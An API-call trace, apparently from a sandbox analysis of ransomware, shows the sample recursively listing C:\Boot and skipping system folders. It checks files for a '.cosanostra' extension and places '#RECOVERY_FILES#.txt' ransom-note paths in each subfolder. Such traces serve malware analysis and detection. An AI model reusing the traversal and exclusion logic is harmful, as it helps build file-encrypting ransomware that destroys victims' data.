[0075.718] lstrlenW (lpString="System Volume Information") returned 25 [0075.718] wnsprintfW (in: pszDest=0x218d90, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot") returned 11 [0075.718] lstrcmpW (lpString1="Boot", lpString2=".") returned 1 [0075.718] lstrcmpW (lpString1="Boot", lpString2="..") returned 1 [0075.719] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\*") returned 13 [0075.719] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 0x239e28 [0075.720] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.720] lstrlenW (lpString="Windows") returned 7 [0075.720] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.720] lstrlenW (lpString="Program Files") returned 13 [0075.720] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.720] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.720] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.720] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.720] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.720] lstrlenW (lpString="System Volume Information") returned 25 [0075.720] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\.") returned 13 [0075.720] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.720] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0075.720] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.720] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0075.720] lstrlenW (lpString="\\\\?\\C:\\Boot\\.") returned 13 [0075.720] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.720] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.720] lstrlenW (lpString="Windows") returned 7 [0075.720] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.720] lstrlenW (lpString="Program Files") returned 13 [0075.720] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.720] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.720] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.720] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.721] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.721] lstrlenW (lpString="System Volume Information") returned 25 [0075.721] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\..") returned 14 [0075.721] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.721] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.721] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0075.721] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.721] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0075.721] lstrlenW (lpString="\\\\?\\C:\\Boot\\..") returned 14 [0075.721] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.721] lstrcmpiW (lpString1="BCD", lpString2="Windows") returned -1 [0075.721] lstrlenW (lpString="Windows") returned 7 [0075.721] lstrcmpiW (lpString1="BCD", lpString2="Program Files") returned -1 [0075.721] lstrlenW (lpString="Program Files") returned 13 [0075.721] lstrcmpiW (lpString1="BCD", lpString2="Program Files (x86)") returned -1 [0075.721] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.721] lstrcmpiW (lpString1="BCD", lpString2="$Recycle.bin") returned 1 [0075.721] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.721] lstrcmpiW (lpString1="BCD", lpString2="System Volume Information") returned -1 [0075.722] lstrlenW (lpString="System Volume Information") returned 25 [0075.722] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD") returned 15 [0075.722] StrStrIW (lpFirst="BCD", lpSrch=".cosanostra") returned 0x0 [0075.722] lstrcmpW (lpString1="BCD", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.722] lstrcmpW (lpString1="BCD", lpString2="_uninstalling_.png") returned 1 [0075.722] lstrlenW (lpString="\\\\?\\C:\\Boot\\BCD") returned 15 [0075.722] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.722] lstrcmpiW (lpString1="BCD.LOG", lpString2="Windows") returned -1 [0075.722] lstrlenW (lpString="Windows") returned 7 [0075.722] lstrcmpiW (lpString1="BCD.LOG", lpString2="Program Files") returned -1 [0075.722] lstrlenW (lpString="Program Files") returned 13 [0075.722] lstrcmpiW (lpString1="BCD.LOG", lpString2="Program Files (x86)") returned -1 [0075.722] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.722] lstrcmpiW (lpString1="BCD.LOG", lpString2="$Recycle.bin") returned 1 [0075.722] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.722] lstrcmpiW (lpString1="BCD.LOG", lpString2="System Volume Information") returned -1 [0075.722] lstrlenW (lpString="System Volume Information") returned 25 [0075.722] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG") returned 19 [0075.722] StrStrIW (lpFirst="BCD.LOG", lpSrch=".cosanostra") returned 0x0 [0075.722] lstrcmpW (lpString1="BCD.LOG", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.722] lstrcmpW (lpString1="BCD.LOG", lpString2="_uninstalling_.png") returned 1 [0075.722] lstrlenW (lpString="\\\\?\\C:\\Boot\\BCD.LOG") returned 19 [0075.722] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.722] lstrcmpiW (lpString1="BCD.LOG1", lpString2="Windows") returned -1 [0075.722] lstrlenW (lpString="Windows") returned 7 [0075.722] lstrcmpiW (lpString1="BCD.LOG1", lpString2="Program Files") returned -1 [0075.722] lstrlenW (lpString="Program Files") returned 13 [0075.722] lstrcmpiW (lpString1="BCD.LOG1", lpString2="Program Files (x86)") returned -1 [0075.722] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.722] lstrcmpiW (lpString1="BCD.LOG1", lpString2="$Recycle.bin") returned 1 [0075.723] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.723] lstrcmpiW (lpString1="BCD.LOG1", lpString2="System Volume Information") returned -1 [0075.723] lstrlenW (lpString="System Volume Information") returned 25 [0075.723] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG1") returned 20 [0075.723] StrStrIW (lpFirst="BCD.LOG1", lpSrch=".cosanostra") returned 0x0 [0075.723] lstrcmpW (lpString1="BCD.LOG1", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.723] lstrcmpW (lpString1="BCD.LOG1", lpString2="_uninstalling_.png") returned 1 [0075.723] lstrlenW (lpString="\\\\?\\C:\\Boot\\BCD.LOG1") returned 20 [0075.723] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.723] lstrcmpiW (lpString1="BCD.LOG2", lpString2="Windows") returned -1 [0075.723] lstrlenW (lpString="Windows") returned 7 [0075.723] lstrcmpiW (lpString1="BCD.LOG2", lpString2="Program Files") returned -1 [0075.723] lstrlenW (lpString="Program Files") returned 13 [0075.723] lstrcmpiW (lpString1="BCD.LOG2", lpString2="Program Files (x86)") returned -1 [0075.723] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.723] lstrcmpiW (lpString1="BCD.LOG2", lpString2="$Recycle.bin") returned 1 [0075.723] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.723] lstrcmpiW (lpString1="BCD.LOG2", lpString2="System Volume Information") returned -1 [0075.723] lstrlenW (lpString="System Volume Information") returned 25 [0075.723] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG2") returned 20 [0075.723] StrStrIW (lpFirst="BCD.LOG2", lpSrch=".cosanostra") returned 0x0 [0075.723] lstrcmpW (lpString1="BCD.LOG2", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.723] lstrcmpW (lpString1="BCD.LOG2", lpString2="_uninstalling_.png") returned 1 [0075.723] lstrlenW (lpString="\\\\?\\C:\\Boot\\BCD.LOG2") returned 20 [0075.723] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.723] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="Windows") returned -1 [0075.723] lstrlenW (lpString="Windows") returned 7 [0075.723] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="Program Files") returned -1 [0075.723] lstrlenW (lpString="Program Files") returned 13 [0075.723] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="Program Files (x86)") returned -1 [0075.724] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.724] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="$Recycle.bin") returned 1 [0075.724] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.724] lstrcmpiW (lpString1="BOOTSTAT.DAT", lpString2="System Volume Information") returned -1 [0075.724] lstrlenW (lpString="System Volume Information") returned 25 [0075.724] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\BOOTSTAT.DAT") returned 24 [0075.724] StrStrIW (lpFirst="BOOTSTAT.DAT", lpSrch=".cosanostra") returned 0x0 [0075.724] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.724] lstrcmpW (lpString1="BOOTSTAT.DAT", lpString2="_uninstalling_.png") returned 1 [0075.724] lstrlenW (lpString="\\\\?\\C:\\Boot\\BOOTSTAT.DAT") returned 24 [0075.724] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.724] lstrcmpiW (lpString1="cs-CZ", lpString2="Windows") returned -1 [0075.724] lstrlenW (lpString="Windows") returned 7 [0075.724] lstrcmpiW (lpString1="cs-CZ", lpString2="Program Files") returned -1 [0075.724] lstrlenW (lpString="Program Files") returned 13 [0075.724] lstrcmpiW (lpString1="cs-CZ", lpString2="Program Files (x86)") returned -1 [0075.724] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.724] lstrcmpiW (lpString1="cs-CZ", lpString2="$Recycle.bin") returned 1 [0075.724] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.724] lstrcmpiW (lpString1="cs-CZ", lpString2="System Volume Information") returned -1 [0075.724] lstrlenW (lpString="System Volume Information") returned 25 [0075.724] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ") returned 17 [0075.724] lstrcmpW (lpString1="cs-CZ", lpString2=".") returned 1 [0075.724] lstrcmpW (lpString1="cs-CZ", lpString2="..") returned 1 [0075.725] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\*") returned 19 [0075.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24b1a0 [0075.727] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.727] lstrlenW (lpString="Windows") returned 7 [0075.727] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.727] lstrlenW (lpString="Program Files") returned 13 [0075.727] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.727] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.727] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.727] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.727] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.727] lstrlenW (lpString="System Volume Information") returned 25 [0075.727] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\.") returned 19 [0075.727] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.727] FindNextFileW (in: hFindFile=0x24b1a0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.727] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.727] lstrlenW (lpString="Windows") returned 7 [0075.727] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.727] lstrlenW (lpString="Program Files") returned 13 [0075.727] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.727] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.727] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.727] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.727] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.727] lstrlenW (lpString="System Volume Information") returned 25 [0075.727] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\..") returned 20 [0075.727] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.727] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.727] FindNextFileW (in: hFindFile=0x24b1a0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.727] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0075.727] lstrlenW (lpString="Windows") returned 7 [0075.727] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0075.727] lstrlenW (lpString="Program Files") returned 13 [0075.727] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0075.727] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.727] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0075.727] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.727] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0075.727] lstrlenW (lpString="System Volume Information") returned 25 [0075.727] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 33 [0075.727] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0075.728] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.728] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0075.728] lstrlenW (lpString="\\\\?\\C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 33 [0075.728] FindNextFileW (in: hFindFile=0x24b1a0, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0075.728] FindClose (in: hFindFile=0x24b1a0 | out: hFindFile=0x24b1a0) returned 1 [0075.728] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\cs-CZ\\#RECOVERY_FILES#.txt") returned 38 [0075.728] lstrlenW (lpString="\\\\?\\C:\\Boot\\cs-CZ\\#RECOVERY_FILES#.txt") returned 38 [0075.728] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.728] lstrcmpiW (lpString1="da-DK", lpString2="Windows") returned -1 [0075.728] lstrlenW (lpString="Windows") returned 7 [0075.728] lstrcmpiW (lpString1="da-DK", lpString2="Program Files") returned -1 [0075.728] lstrlenW (lpString="Program Files") returned 13 [0075.728] lstrcmpiW (lpString1="da-DK", lpString2="Program Files (x86)") returned -1 [0075.728] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.728] lstrcmpiW (lpString1="da-DK", lpString2="$Recycle.bin") returned 1 [0075.728] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.728] lstrcmpiW (lpString1="da-DK", lpString2="System Volume Information") returned -1 [0075.728] lstrlenW (lpString="System Volume Information") returned 25 [0075.728] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK") returned 17 [0075.728] lstrcmpW (lpString1="da-DK", lpString2=".") returned 1 [0075.728] lstrcmpW (lpString1="da-DK", lpString2="..") returned 1 [0075.728] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\*") returned 19 [0075.728] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24c310 [0075.729] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.729] lstrlenW (lpString="Windows") returned 7 [0075.729] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.729] lstrlenW (lpString="Program Files") returned 13 [0075.729] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.729] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.729] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.729] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.729] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.729] lstrlenW (lpString="System Volume Information") returned 25 [0075.729] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\.") returned 19 [0075.729] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.729] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.729] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.729] lstrlenW (lpString="Windows") returned 7 [0075.729] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.729] lstrlenW (lpString="Program Files") returned 13 [0075.729] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.729] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.729] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.729] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.729] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.729] lstrlenW (lpString="System Volume Information") returned 25 [0075.729] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\..") returned 20 [0075.729] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.730] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.730] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.730] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0075.730] lstrlenW (lpString="Windows") returned 7 [0075.730] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0075.730] lstrlenW (lpString="Program Files") returned 13 [0075.730] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0075.730] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.730] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0075.730] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.730] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0075.730] lstrlenW (lpString="System Volume Information") returned 25 [0075.730] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 33 [0075.730] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0075.730] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.730] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0075.730] lstrlenW (lpString="\\\\?\\C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 33 [0075.730] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0075.730] FindClose (in: hFindFile=0x24c310 | out: hFindFile=0x24c310) returned 1 [0075.730] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\da-DK\\#RECOVERY_FILES#.txt") returned 38 [0075.730] lstrlenW (lpString="\\\\?\\C:\\Boot\\da-DK\\#RECOVERY_FILES#.txt") returned 38 [0075.730] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.730] lstrcmpiW (lpString1="de-DE", lpString2="Windows") returned -1 [0075.730] lstrlenW (lpString="Windows") returned 7 [0075.730] lstrcmpiW (lpString1="de-DE", lpString2="Program Files") returned -1 [0075.730] lstrlenW (lpString="Program Files") returned 13 [0075.730] lstrcmpiW (lpString1="de-DE", lpString2="Program Files (x86)") returned -1 [0075.730] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.730] lstrcmpiW (lpString1="de-DE", lpString2="$Recycle.bin") returned 1 [0075.730] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.730] lstrcmpiW (lpString1="de-DE", lpString2="System Volume Information") returned -1 [0075.730] lstrlenW (lpString="System Volume Information") returned 25 [0075.730] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE") returned 17 [0075.731] lstrcmpW (lpString1="de-DE", lpString2=".") returned 1 [0075.731] lstrcmpW (lpString1="de-DE", lpString2="..") returned 1 [0075.731] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\*") returned 19 [0075.731] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24c310 [0075.732] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.732] lstrlenW (lpString="Windows") returned 7 [0075.732] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.732] lstrlenW (lpString="Program Files") returned 13 [0075.732] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.732] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.732] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.732] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.732] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.732] lstrlenW (lpString="System Volume Information") returned 25 [0075.732] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\.") returned 19 [0075.732] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.732] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.732] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0075.732] lstrlenW (lpString="Windows") returned 7 [0075.732] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0075.732] lstrlenW (lpString="Program Files") returned 13 [0075.732] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0075.732] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.732] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0075.732] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.732] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0075.732] lstrlenW (lpString="System Volume Information") returned 25 [0075.732] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\..") returned 20 [0075.732] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0075.732] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0075.732] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.732] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1 [0075.732] lstrlenW (lpString="Windows") returned 7 [0075.732] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files") returned -1 [0075.732] lstrlenW (lpString="Program Files") returned 13 [0075.732] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Program Files (x86)") returned -1 [0075.732] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.732] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$Recycle.bin") returned 1 [0075.732] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.732] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="System Volume Information") returned -1 [0075.733] lstrlenW (lpString="System Volume Information") returned 25 [0075.733] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 33 [0075.733] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch=".cosanostra") returned 0x0 [0075.733] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="#RECOVERY_FILES#.txt") returned 1 [0075.733] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="_uninstalling_.png") returned 1 [0075.733] lstrlenW (lpString="\\\\?\\C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 33 [0075.733] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0 [0075.733] FindClose (in: hFindFile=0x24c310 | out: hFindFile=0x24c310) returned 1 [0075.733] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\de-DE\\#RECOVERY_FILES#.txt") returned 38 [0075.733] lstrlenW (lpString="\\\\?\\C:\\Boot\\de-DE\\#RECOVERY_FILES#.txt") returned 38 [0075.733] FindNextFileW (in: hFindFile=0x239e28, lpFindFileData=0x2cff6e8 | out: lpFindFileData=0x2cff6e8) returned 1 [0075.733] lstrcmpiW (lpString1="el-GR", lpString2="Windows") returned -1 [0075.733] lstrlenW (lpString="Windows") returned 7 [0075.733] lstrcmpiW (lpString1="el-GR", lpString2="Program Files") returned -1 [0075.733] lstrlenW (lpString="Program Files") returned 13 [0075.733] lstrcmpiW (lpString1="el-GR", lpString2="Program Files (x86)") returned -1 [0075.733] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.733] lstrcmpiW (lpString1="el-GR", lpString2="$Recycle.bin") returned 1 [0075.733] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.733] lstrcmpiW (lpString1="el-GR", lpString2="System Volume Information") returned -1 [0075.733] lstrlenW (lpString="System Volume Information") returned 25 [0075.733] wnsprintfW (in: pszDest=0x229de0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR") returned 17 [0075.733] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1 [0075.733] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1 [0075.733] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\*") returned 19 [0075.733] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 0x24c310 [0075.734] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0075.734] lstrlenW (lpString="Windows") returned 7 [0075.734] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0075.734] lstrlenW (lpString="Program Files") returned 13 [0075.734] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0075.734] lstrlenW (lpString="Program Files (x86)") returned 19 [0075.734] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0075.734] lstrlenW (lpString="$Recycle.bin") returned 12 [0075.734] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0075.734] lstrlenW (lpString="System Volume Information") returned 25 [0075.734] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\el-GR\\.") returned 19 [0075.734] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0075.734] FindNextFileW (in: hFindFile=0x24c310, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0075.734] 